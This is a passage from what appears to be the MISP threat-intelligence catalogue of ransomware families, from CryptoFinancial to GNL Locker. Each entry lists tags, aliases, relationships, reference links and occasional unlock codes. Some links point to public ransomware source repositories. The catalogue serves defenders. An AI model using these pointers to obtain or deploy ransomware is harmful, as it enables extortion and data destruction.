The tag is: misp-galaxy:ransomware="CryptoFinancial"

CryptoFinancial is also known as:

• Ranscam

View relationships graph

CryptoFinancial has relationships with:

• similar: misp-galaxy:malpedia="Ranscam" with estimative-language:likelihood-probability="likely"

Table 7563. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/search?q=CryptoFinancial">https://id-ransomware.blogspot.com/search?q=CryptoFinancial</a></td>
</tr>
</tbody>
</table>

CryptoFortress

Ransomware Mimics Torrentlocker. Encrypts only 50% of each file up to 5 MB

The tag is: misp-galaxy:ransomware="CryptoFortress"

View relationships graph

CryptoFortress has relationships with:

• similar: misp-galaxy:ransomware="TorrentLocker" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:malpedia="CryptoFortress" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:malpedia="TorrentLocker" with estimative-language:likelihood-probability="likely"

Table 7564. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/05/cryptofortress-ransomware-aes-256-1.html">https://id-ransomware.blogspot.com/2016/05/cryptofortress-ransomware-aes-256-1.html</a></td>
</tr>
</tbody>
</table>
CryptoGraphic Locker

Ransomware Has a GUI. Subvariants: CoinVault BitCryptor

The tag is: misp-galaxy:ransomware="CryptoGraphic Locker"

CryptoHost

Ransomware RAR's victim's files has a GUI

The tag is: misp-galaxy:ransomware="CryptoHost"

CryptoHost is also known as:

- Manamecrypt
- Telograph
- ROI Locker

View relationships graph

CryptoHost has relationships with:

- similar: misp-galaxy:malpedia="ManameCrypt" with estimative-language:likelihood-probability="likely"

Table 7565. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/04/cryptohost-ransomware.html">https://id-ransomware.blogspot.com/2016/04/cryptohost-ransomware.html</a></td>
</tr>
</tbody>
</table>

CryptoJoker

Ransomware

The tag is: misp-galaxy:ransomware="CryptoJoker"

View relationships graph

CryptoJoker has relationships with:

- similar: misp-galaxy:ransomware="CryptoNar" with estimative-language:likelihood-probability="likely"

Table 7566. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
CryptoLocker

Ransomware no longer relevant

The tag is: `misp-galaxy:ransomware="CryptoLocker"`

View relationships graph

CryptoLocker has relationships with:

- similar: `misp-galaxy:malpedia="CryptoLocker"` with estimative-language:likelihood-probability="likely"

Table 7567. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

CryptoLocker 1.0.0

Ransomware

The tag is: `misp-galaxy:ransomware="CryptoLocker 1.0.0"`

Table 7568. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/839747940122001408">https://twitter.com/malwrhunterteam/status/839747940122001408</a></td>
</tr>
</tbody>
</table>

CryptoLocker 5.1

Ransomware

The tag is: `misp-galaxy:ransomware="CryptoLocker 5.1"`

Table 7569. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/782890104947867649">https://twitter.com/malwrhunterteam/status/782890104947867649</a></td>
</tr>
</tbody>
</table>

CryptoMix

Ransomware

The tag is: `misp-galaxy:ransomware="CryptoMix"`

CryptoMix is also known as:
• Zeta

View relationships graph

CryptoMix has relationships with:

• similar: misp-galaxy:malpedia="CryptoMix" with estimative-language:likelihood probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood probability="likely"

• similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood probability="likely"

• similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

Table 7570. Table References

Links

http://www.nyxbone.com/malware/CryptoMix.html
https://twitter.com/JakubKroustek/status/804009831518572544
https://twitter.com/demonslay335/status/1072227523755470848
https://www.coveware.com/blog/cryptomix-ransomware-exploits-cancer-crowdfunding
CryptoRansomeware

Ransomware

The tag is: misp-galaxy:ransomware="CryptoRansomeware"

View relationships graph

CryptoRansomeware has relationships with:

- similar: misp-galaxy:malpedia="CryptoRansomeware" with estimative-language:likelihood-probability="likely"

Table 7571. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/817672617658347521">https://twitter.com/malwrhunterteam/status/817672617658347521</a></td>
</tr>
</tbody>
</table>

CryptoRoger

Ransomware

The tag is: misp-galaxy:ransomware="CryptoRoger"

Table 7572. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/cryptoroger-aes-256-0.html">https://id-ransomware.blogspot.com/2016/06/cryptoroger-aes-256-0.html</a></td>
</tr>
</tbody>
</table>

CryptoShadow

Ransomware

The tag is: misp-galaxy:ransomware="CryptoShadow"

Table 7573. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/struppigel/status/821992610164277248">https://twitter.com/struppigel/status/821992610164277248</a></td>
</tr>
</tbody>
</table>

CryptoShocker

Ransomware

The tag is: misp-galaxy:ransomware="CryptoShocker"
**CryptoShocker**

Ransomware

The tag is: `misp-galaxy:ransomware="CryptoShocker"`

*Table 7574. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/cryptoshocker-ransomware-aes-200.html">https://id-ransomware.blogspot.com/2016/06/cryptoshocker-ransomware-aes-200.html</a></td>
</tr>
</tbody>
</table>

**CryptoTorLocker2015**

Ransomware

The tag is: `misp-galaxy:ransomware="CryptoTorLocker2015"`

*Table 7575. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/04/cryptotorlocker-ransomware.html">https://id-ransomware.blogspot.com/2016/04/cryptotorlocker-ransomware.html</a></td>
</tr>
</tbody>
</table>

**CryptoTrooper**

Ransomware

The tag is: `misp-galaxy:ransomware="CryptoTrooper"`

*Table 7576. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**CryptoWall 1**

Ransomware, Infection by Phishing

The tag is: `misp-galaxy:ransomware="CryptoWall 1"`

**CryptoWall 2**

Ransomware

The tag is: `misp-galaxy:ransomware="CryptoWall 2"`
CryptoWall 3

Ransomware

The tag is: misp-galaxy:ransomware="CryptoWall 3"

Table 7577. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blogs.technet.microsoft.com/mmpc/2015/01/13/crowti-update-cryptowall-3-0/">https://blogs.technet.microsoft.com/mmpc/2015/01/13/crowti-update-cryptowall-3-0/</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/en/file/45317968759d3e37282ceb75149f627d648534c5b4685f6da3966d8f6fca662d/analysis/">https://www.virustotal.com/en/file/45317968759d3e37282ceb75149f627d648534c5b4685f6da3966d8f6fca662d/analysis/</a></td>
</tr>
</tbody>
</table>

CryptoWall 4

Ransomware

The tag is: misp-galaxy:ransomware="CryptoWall 4"

CryptXXX

Ransomware Comes with Bedep

The tag is: misp-galaxy:ransomware="CryptXXX"

CryptXXX is also known as:

• CryptProjectXXX

View relationships graph

CryptXXX has relationships with:

• similar: misp-galaxy:ransomware="CryptXXX 2.0" with estimative-language:likelihood-probability="likely"

Table 7578. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://support.kaspersky.com/viruses/disinfection/8547">https://support.kaspersky.com/viruses/disinfection/8547</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html">https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html</a></td>
</tr>
</tbody>
</table>

CryptXXX 2.0

Ransomware Locks screen. Ransom note names are an ID. Comes with Bedep.

The tag is: misp-galaxy:ransomware="CryptXXX 2.0"
CryptXXX 2.0 is also known as:

- CryptProjectXXX

**View relationships graph**

CryptXXX 2.0 has relationships with:

- similar: misp-galaxy:ransomware="CryptXXX" with estimative-language:likelihood-probability="likely"

*Table 7579. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://support.kaspersky.com/viruses/disinfection/8547">https://support.kaspersky.com/viruses/disinfection/8547</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html">https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html</a></td>
</tr>
</tbody>
</table>

**CryptXXX 3.0**

Ransomware Comes with Bedep

The tag is: *misp-galaxy:ransomware="CryptXXX 3.0"*

CryptXXX 3.0 is also known as:

- UltraDeCrypter
- UltraCrypter

*Table 7580. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://support.kaspersky.com/viruses/disinfection/8547">https://support.kaspersky.com/viruses/disinfection/8547</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html">https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html</a></td>
</tr>
</tbody>
</table>

**CryptXXX 3.1**

Ransomware StilerX credential stealing

The tag is: *misp-galaxy:ransomware="CryptXXX 3.1"*

*Table 7581. Table References*
CryPy
Ransomware
The tag is: misp-galaxy:ransomware="CryPy"

Table 7582. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/09/crypy-ransomware.html">https://id-ransomware.blogspot.com/2016/09/crypy-ransomware.html</a></td>
</tr>
</tbody>
</table>

CTB-Faker
Ransomware
The tag is: misp-galaxy:ransomware="CTB-Faker"

CTB-Faker is also known as:
- Citroni

Table 7583. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/07/ctb-faker-ransomware-008.html">https://id-ransomware.blogspot.com/2016/07/ctb-faker-ransomware-008.html</a></td>
</tr>
</tbody>
</table>

CTB-Locker WEB
Ransomware websites only
The tag is: misp-galaxy:ransomware="CTB-Locker WEB"

Table 7584. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thisissecurity.net/2016/02/26/a-lockpicking-exercise/">https://thisissecurity.net/2016/02/26/a-lockpicking-exercise/</a></td>
</tr>
<tr>
<td><a href="https://github.com/eyecatchup/Critroni-php">https://github.com/eyecatchup/Critroni-php</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/ctb-locker-for-websites-04.html">https://id-ransomware.blogspot.com/2016/06/ctb-locker-for-websites-04.html</a></td>
</tr>
</tbody>
</table>
**CuteRansomware**

Ransomware Based on my-Little-Ransomware

The tag is: `misp-galaxy:ransomware="CuteRansomware"`

CuteRansomware is also known as:

- my-Little-Ransomware

*Tabe 7585. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/aaaddress1/my-Little-Ransomware/tree/master/decryptoTool">https://github.com/aaaddress1/my-Little-Ransomware/tree/master/decryptoTool</a></td>
</tr>
<tr>
<td><a href="https://github.com/aaaddress1/my-Little-Ransomware">https://github.com/aaaddress1/my-Little-Ransomware</a></td>
</tr>
</tbody>
</table>

**Cyber SpLiTTer Vbs**

Ransomware Based on HiddenTear

The tag is: `misp-galaxy:ransomware="Cyber SpLiTTer Vbs"`

Cyber SpLiTTer Vbs is also known as:

- CyberSplitter

*View relationships graph*

Cyber SpLiTTer Vbs has relationships with:

- similar: `misp-galaxy:malpedia="CyberSplitter"` with `estimative-language:likelihood-probability="likely"`

*Tabe 7586. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/struppigel/status/778871886616862720">https://twitter.com/struppigel/status/778871886616862720</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/struppigel/status/806758133720698881">https://twitter.com/struppigel/status/806758133720698881</a></td>
</tr>
</tbody>
</table>

**Death Bitches**

Ransomware

The tag is: `misp-galaxy:ransomware="Death Bitches"`

*Tabe 7587. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
### DeCrypt Protect

Ransomware

The tag is: `misp-galaxy:ransomware="DeCrypt Protect"`

**Table 7588. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

### DEDCryptor

Ransomware Based on EDA2

The tag is: `misp-galaxy:ransomware="DEDCryptor"`

**Table 7589. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/dedcryptor-ransomware-aes-256rsa-2.html">https://id-ransomware.blogspot.com/2016/06/dedcryptor-ransomware-aes-256rsa-2.html</a></td>
<td></td>
</tr>
</tbody>
</table>

### Demo

Ransomware only encrypts .jpg files

The tag is: `misp-galaxy:ransomware="Demo"`

Demo is also known as:

- CryptoDemo

**Table 7590. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/struppigel/status/798573300779745281">https://twitter.com/struppigel/status/798573300779745281</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2017/10/cryptodemo-ransomware.html">https://id-ransomware.blogspot.com/2017/10/cryptodemo-ransomware.html</a></td>
<td></td>
</tr>
</tbody>
</table>

### DetoxCrypto

Ransomware - Based on Detox: Calipso, We are all Pokemons, Nullbyte

The tag is: `misp-galaxy:ransomware="DetoxCrypto"`
Table 7591. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/08/detoxcrypto-ransomware.html">https://id-ransomware.blogspot.com/2016/08/detoxcrypto-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Digisom**

Ransomware

The tag is: misp-galaxy:ransomware="Digisom"

Table 7592. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/PolarToffee/status/829727052316160000">https://twitter.com/PolarToffee/status/829727052316160000</a></td>
</tr>
</tbody>
</table>

**DirtyDecrypt**

Ransomware

The tag is: misp-galaxy:ransomware="DirtyDecrypt"

Table 7593. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/demonslay335/status/752586334527709184">https://twitter.com/demonslay335/status/752586334527709184</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/07/revoyem-dirtydecrypt-ransomware-doc.html">https://id-ransomware.blogspot.com/2016/07/revoyem-dirtydecrypt-ransomware-doc.html</a></td>
</tr>
</tbody>
</table>

**DMA Locker**

Ransomware no extension change


The tag is: misp-galaxy:ransomware="DMA Locker"

Table 7594. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://decrypter.emsisoft.com/">https://decrypter.emsisoft.com/</a></td>
</tr>
<tr>
<td><a href="https://github.com/hasherezade/dma_unlocker">https://github.com/hasherezade/dma_unlocker</a></td>
</tr>
<tr>
<td><a href="https://drive.google.com/drive/folders/0Bzb5kQFOXkiSMm94QzdyM3hCdD">https://drive.google.com/drive/folders/0Bzb5kQFOXkiSMm94QzdyM3hCdD</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.org/threat-analysis/2016/02/dma-locker-a-new-ransomware-but-no-reason-to-panic/">https://blog.malwarebytes.org/threat-analysis/2016/02/dma-locker-a-new-ransomware-but-no-reason-to-panic/</a></td>
</tr>
</tbody>
</table>
DMALocker 3.0
Ransomware

The tag is: `misp-galaxy:ransomware="DMALocker 3.0"`

Table 7595. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://drive.google.com/drive/folders/0Bzb5kQFOXiSMm94QzdyM3hCdDg">https://drive.google.com/drive/folders/0Bzb5kQFOXiSMm94QzdyM3hCdDg</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.org/threat-analysis/2016/02/dma-locker-strikes-back/">https://blog.malwarebytes.org/threat-analysis/2016/02/dma-locker-strikes-back/</a></td>
</tr>
</tbody>
</table>

DNRansomware
Ransomware Code to decrypt: 83KYG9NW-3K39V-2T3HJ-93F3Q-GT

The tag is: `misp-galaxy:ransomware="DNRansomware"`

Table 7596. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/BleepinComputer/status/822500056511213568">https://twitter.com/BleepinComputer/status/822500056511213568</a></td>
</tr>
</tbody>
</table>

Domino
Ransomware Based on Hidden Tear

The tag is: `misp-galaxy:ransomware="Domino"`

Table 7597. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/08/domino-ransomware.html">https://id-ransomware.blogspot.com/2016/08/domino-ransomware.html</a></td>
</tr>
</tbody>
</table>

DoNotChange
Ransomware

The tag is: `misp-galaxy:ransomware="DoNotChange"`

Table 7598. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**DummyLocker**

Ransomware

The tag is: `misp-galaxy:ransomware="DummyLocker"

**Table 7599. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/struppigel/status/794108322932785158">https://twitter.com/struppigel/status/794108322932785158</a></td>
</tr>
</tbody>
</table>

**DXXD**

Ransomware

The tag is: `misp-galaxy:ransomware="DXXD"

**Table 7600. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/09/dxxd-ransomware.html">https://id-ransomware.blogspot.com/2016/09/dxxd-ransomware.html</a></td>
</tr>
</tbody>
</table>

**HiddenTear**

Ransomware Open sourced C#

The tag is: `misp-galaxy:ransomware="HiddenTear"

HiddenTear is also known as:

- Cryptear
- EDA2
- Hidden Tear

**View relationships graph**

HiddenTear has relationships with:

- similar: `misp-galaxy:malpedia="EDA2"` with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="HiddenTear" with estimative-language:likelihood-probability="likely"

Table 7601. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/hiddentear-2.html">https://id-ransomware.blogspot.com/2016/06/hiddentear-2.html</a></td>
</tr>
</tbody>
</table>

EduCrypt

Ransomware Based on Hidden Tear

The tag is: misp-galaxy:ransomware="EduCrypt"

EduCrypt is also known as:

• EduCrypter

Table 7602. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.filedropper.com/decrypter_1">http://www.filedropper.com/decrypter_1</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/JakubKroustek/status/747031171347910656">https://twitter.com/JakubKroustek/status/747031171347910656</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/hiddentear-2.html">https://id-ransomware.blogspot.com/2016/06/hiddentear-2.html</a></td>
</tr>
</tbody>
</table>

EiTest

Ransomware

The tag is: misp-galaxy:ransomware="EiTest"

Table 7603. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/BroadAnalysis/status/845688819533930497">https://twitter.com/BroadAnalysis/status/845688819533930497</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/845652520202616832">https://twitter.com/malwrhunterteam/status/845652520202616832</a></td>
</tr>
</tbody>
</table>

El-Polocker

Ransomware Has a GUI

The tag is: misp-galaxy:ransomware="El-Polocker"

El-Polocker is also known as:

• Los Pollos Hermanos
Encoder.xxxx

Ransomware Coded in GO

The tag is: `misp-galaxy:ransomware="Encoder.xxxx"`

Encoder.xxxx is also known as:

- Trojan.Encoder.6491

View relationships graph

Encoder.xxxx has relationships with:

- similar: `misp-galaxy:ransomware="Windows_Security Ransonware"` with estimative-language:likelihood-probability="likely"

**encryptoJJS**

Ransomware

The tag is: `misp-galaxy:ransomware="encryptoJJS"`

Enigma

Ransomware

The tag is: `misp-galaxy:ransomware="Enigma"`
Enjey

Ransomware Based on RemindMe

The tag is: misp-galaxy:ransomware="Enjey"

Table 7608. Table References

Links

https://twitter.com/malwrhunterteam/status/839022018230112256

Fairware

Ransomware Target Linux O.S.

The tag is: misp-galaxy:ransomware="Fairware"

Table 7609. Table References

Links


Fakben

Ransomware Based on Hidden Tear

The tag is: misp-galaxy:ransomware="Fakben"

Table 7610. Table References

Links


https://id-ransomware.blogspot.com/2016/07/fakben-team-ransomware-aes-256-1505.html

FakeCryptoLocker

Ransomware

The tag is: misp-galaxy:ransomware="FakeCryptoLocker"

Table 7611. Table References

Links


https://id-ransomware.blogspot.com/2016/05/enigma-ransomware-aes-128-0.html
Fantom

Ransomware Based on EDA2

The tag is: misp-galaxy:ransomware="Fantom"

Fantom is also known as:

• Comrad Circle

Table 7612. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

FenixLocker

Ransomware

The tag is: misp-galaxy:ransomware="FenixLocker"

Table 7613. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://decrypter.emsisoft.com/fenixlocker">https://decrypter.emsisoft.com/fenixlocker</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/fwosar/status/777197255057084416">https://twitter.com/fwosar/status/777197255057084416</a></td>
</tr>
</tbody>
</table>

FILE FROZR

Ransomware RaaS

The tag is: misp-galaxy:ransomware="FILE FROZR"

FILE FROZR is also known as:

• FileFrozr

Table 7614. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/rommeljoven17/status/846973265650335744">https://twitter.com/rommeljoven17/status/846973265650335744</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2017/03/filefrozr-ransomware.html">https://id-ransomware.blogspot.com/2017/03/filefrozr-ransomware.html</a></td>
</tr>
</tbody>
</table>
FileLocker
Ransomware
The tag is: misp-galaxy:ransomware="FileLocker"

Table 7615. Table References
Links
https://twitter.com/jiriatvirlab/status/836616468775251968

FireCrypt
Ransomware
The tag is: misp-galaxy:ransomware="FireCrypt"

View relationships graph
FireCrypt has relationships with:
• similar: misp-galaxy:malpedia="FireCrypt" with estimative-language:likelihood-probability="likely"

Table 7616. Table References
Links
https://id-ransomware.blogspot.com/2017/01/bleedgreen-ransomware.html

Flyper
Ransomware Based on EDA2 / HiddenTear
The tag is: misp-galaxy:ransomware="Flyper"

Table 7617. Table References
Links
https://twitter.com/malwrhunterteam/status/773771485643149312

Fonco
Ransomware contact email safefiles32@mail.ru also as prefix in encrypted file contents
The tag is: misp-galaxy:ransomware="Fonco"
**FortuneCookie**

Ransomware

The tag is: \textit{misp-galaxy:ransomware=“FortuneCookie”}

*Table 7618. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/struppigel/status/842302481774321664">https://twitter.com/struppigel/status/842302481774321664</a></td>
</tr>
</tbody>
</table>

**Free-Freedom**

Ransomware Unlock code is: adam or adamdude9

The tag is: \textit{misp-galaxy:ransomware=“Free-Freedom”}

Free-Freedom is also known as:

- Roga

View relationships graph

Free-Freedom has relationships with:

- similar: \textit{misp-galaxy:ransomware=“Roga”} with \textit{estimative-language:likelihood-probability=“likely”}

*Table 7619. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/BleepinComputer/status/812135608374226944">https://twitter.com/BleepinComputer/status/812135608374226944</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/12/roga-ransomware.html">https://id-ransomware.blogspot.com/2016/12/roga-ransomware.html</a></td>
</tr>
</tbody>
</table>

**FSociety**

Ransomware Based on EDA2 and RemindMe

The tag is: \textit{misp-galaxy:ransomware=“FSociety”}

*Table 7620. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.bleepingcomputer.com/forums/t/628199/fs0ciety-locker-ransomware-help-support-fs0cietyhtml/">https://www.bleepingcomputer.com/forums/t/628199/fs0ciety-locker-ransomware-help-support-fs0cietyhtml/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/siri">https://twitter.com/siri</a> urz/status/795969998707720193</td>
</tr>
</tbody>
</table>
Fury

Ransomware

The tag is: `misp-galaxy:ransomware="Fury"`

Table 7621. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://support.kaspersky.com/viruses/disinfection/8547">https://support.kaspersky.com/viruses/disinfection/8547</a></td>
</tr>
</tbody>
</table>

GhostCrypt

Ransomware Based on Hidden Tear

The tag is: `misp-galaxy:ransomware="GhostCrypt"`

Table 7622. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://download.bleepingcomputer.com/demonslay335/GhostCryptDecrypter.zip">https://download.bleepingcomputer.com/demonslay335/GhostCryptDecrypter.zip</a></td>
</tr>
<tr>
<td><a href="http://www.bleepingcomputer.com/forums/t/614197/ghostcrypt-z81928819-help-support-topic-read-this-filetxt/">http://www.bleepingcomputer.com/forums/t/614197/ghostcrypt-z81928819-help-support-topic-read-this-filetxt/</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/05/ghostcrypt-ransomware-aes-256-2-bitcoins.html">https://id-ransomware.blogspot.com/2016/05/ghostcrypt-ransomware-aes-256-2-bitcoins.html</a></td>
</tr>
</tbody>
</table>

Gingerbread

Ransomware

The tag is: `misp-galaxy:ransomware="Gingerbread"`

Table 7623. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/ni_fi_70/status/796353782699425792">https://twitter.com/ni_fi_70/status/796353782699425792</a></td>
</tr>
</tbody>
</table>

Globe v1

Ransomware

The tag is: `misp-galaxy:ransomware="Globe v1"`

Globe v1 is also known as:

- Purge
Table 7624. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221">https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2017/07/purge-kind-ransomware.html">https://id-ransomware.blogspot.com/2017/07/purge-kind-ransomware.html</a></td>
</tr>
</tbody>
</table>

**GNL Locker**

Ransomware Only encrypts DE or NL country. Variants, from old to latest: Zyklon Locker, WildFire locker, Hades Locker

The tag is: `misp-galaxy:ransomware="GNL Locker"`

View relationships graph

GNL Locker has relationships with:

